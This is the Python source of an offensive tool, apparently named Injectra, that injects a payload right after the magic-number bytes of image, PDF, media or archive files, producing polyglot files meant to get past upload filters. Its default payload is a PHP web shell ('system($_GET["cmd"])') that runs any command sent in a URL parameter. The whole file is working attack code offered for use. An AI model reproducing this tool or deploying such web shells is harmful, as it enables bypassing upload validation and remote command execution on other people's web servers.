import sys
import binascii
import os
import subprocess
import time
from prompt_toolkit import prompt
from prompt_toolkit.completion import PathCompleter
from colorama import Fore, init

init(autoreset=True)

MAGIC_NUMBERS = {
    'jpeg': '03010002110311003f00',
    'jpg': '03010002110311003f00',
    'png': '89504e470d0a1a0a',
    'pdf': [
        '255044462d312e33',
        '255044462d312e34',
        '255044462d312e35',
        '255044462d312e37',
        '255044462d322e30',
    ],
    'txt': None,
    'mp4': [
    '00000018',
    '66747970',
    ],
    'mp3': [
    '494433',
    'FFFB',
    ],
    'zip': '504b0304',
    'rar': '52617221',
}

def pad_hex_string(hex_string):
    if len(hex_string) % 2 != 0:
        hex_string = '0' + hex_string
    return hex_string

BIN_MAGIC_NUMBERS = {key: [binascii.unhexlify(pad_hex_string(value)) for value in values] if isinstance(values, list) else [binascii.unhexlify(pad_hex_string(values))] if values else [] for key, values in MAGIC_NUMBERS.items()}

required_packages = {
    'prompt_toolkit': '3.0.36',
    'colorama': '0.4.6'
}

def check_and_install_packages(packages):
    print(Fore.MAGENTA + "Checking Requirements...\n")
    for package, version in packages.items():
        try:
            __import__(package)
            print(Fore.YELLOW + f"[+] {package} is already installed.")
        except ImportError:
            print(Fore.RED + f"[i] {package} not found. Installing...")
            subprocess.check_call([sys.executable, '-m', 'pip', 'install', f"{package}=={version}"])
            print(Fore.GREEN + f"[+] {package} installed successfully.")

def get_file_path(prompt_text):
    completer = PathCompleter()
    return prompt(prompt_text, completer=completer).strip()

def clear_screen():
    os.system('cls' if os.name == 'nt' else 'clear')

def banner():
    print(rf"{Fore.GREEN}   _____        _           _              ")
    print(rf"{Fore.GREEN}   \_   \_ __  (_) ___  ___| |_ _ __ __ _  ")
    print(rf"{Fore.GREEN}    / /\/ '_ \ | |/ _ \/ __| __| '__/ _` | ")
    print(rf"{Fore.GREEN} /\/ /_ | | | || |  __/ (__| |_| | | (_| | ")
    print(rf"{Fore.GREEN} \____/ |_| |_|/ |\___|\___|\__|_|  \__,_| ")
    print(rf"{Fore.GREEN}             |__/                          ")
    print()

    created_by_text = "Program created by: AnonKryptiQuz"
    ascii_width = 43
    padding = (ascii_width - len(created_by_text)) // 2
    print(" " * padding + f"\033[0;31m{created_by_text}\033[0m")
    print("")

def find_magic_number_index(data: bytes, file_extension: str) -> int:
    if file_extension == 'txt':
        return 0

    magic_numbers = BIN_MAGIC_NUMBERS.get(file_extension)
    if magic_numbers:
        print(Fore.YELLOW + f"[i] Checking for magic number(s): {', '.join(magic.hex() for magic in magic_numbers)}")
        for magic_number in magic_numbers:
            index = data.find(magic_number, 0, 4096)
            if index != -1:
                return index
    return -1

def inject_payload(file_data: bytes, magic_number_index: int, payload: str, file_extension: str) -> bytes:
    bin_payload = payload.encode()

    magic_number_length = len(BIN_MAGIC_NUMBERS[file_extension][0]) if file_extension in BIN_MAGIC_NUMBERS and BIN_MAGIC_NUMBERS[file_extension] else 0

    pre_payload = file_data[:magic_number_index + magic_number_length]
    post_payload = file_data[magic_number_index + magic_number_length + len(bin_payload):]

    return pre_payload + bin_payload + post_payload

def main():
    clear_screen()
    check_and_install_packages(required_packages)
    time.sleep(3)
    clear_screen()

    while True:
        banner()

        file_path = get_file_path("[?] Enter the path of the file to inject: ")
        if not os.path.isfile(file_path):
            print(Fore.RED + "[!] File not found. Please try again.")
            input(Fore.YELLOW + "[i] Press Enter to continue...")
            clear_screen()
            continue

        file_extension = file_path.split('.')[-1].lower()

        if file_extension not in BIN_MAGIC_NUMBERS:
            print(Fore.RED + "[!] Unsupported file type for magic number injection.")
            return

        while True:
            output_file = input("[?] Enter the name of the output file: ").strip()
            if not output_file:
                print(Fore.RED + "[!] Output file name cannot be empty.")
                input(Fore.YELLOW + "[i] Press Enter to continue...")
                clear_screen()
                banner()
            else:
                break

        payload = prompt("[?] Enter the payload to inject (press Enter to use default: <?php system($_GET[\"cmd\"]);?>): ").strip()
        if not payload:
            payload = '<?php system($_GET["cmd"]);?>'

        print(Fore.YELLOW + "\n[i] Loading, Please wait...")
        time.sleep(2)
        clear_screen()
        print(Fore.YELLOW + "[i] Preparing to inject payload...\n")
        time.sleep(2)

        with open(file_path, 'rb') as vector_file:
            bin_vector_data = vector_file.read()

            print(Fore.CYAN + "[i] Searching for magic number...")
            magic_number_index = find_magic_number_index(bin_vector_data, file_extension)

            if magic_number_index >= 0:
                print(Fore.WHITE + "[+] Found magic number.")
                time.sleep(2)
                infected_data = inject_payload(bin_vector_data, magic_number_index, payload, file_extension)
                with open(f"{output_file}.{file_extension}", 'wb') as infected_file:
                    print(Fore.CYAN + "\n[i] Injecting payload...")
                    infected_file.write(infected_data)
                    print(Fore.WHITE + "[+] Payload written.")
                    time.sleep(1)
                    print(Fore.GREEN + "\n[i] Payload injection completed successfully!")
                    break
            else:
                print(Fore.RED + "[-] Magic number not found. Exiting.")
                return 

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(Fore.RED + "\n[!] Program terminated by the user!")
        sys.exit(0)
    except Exception as e:
        print(Fore.RED + f"[!] An unexpected error occurred: {e}")
        sys.exit(1)
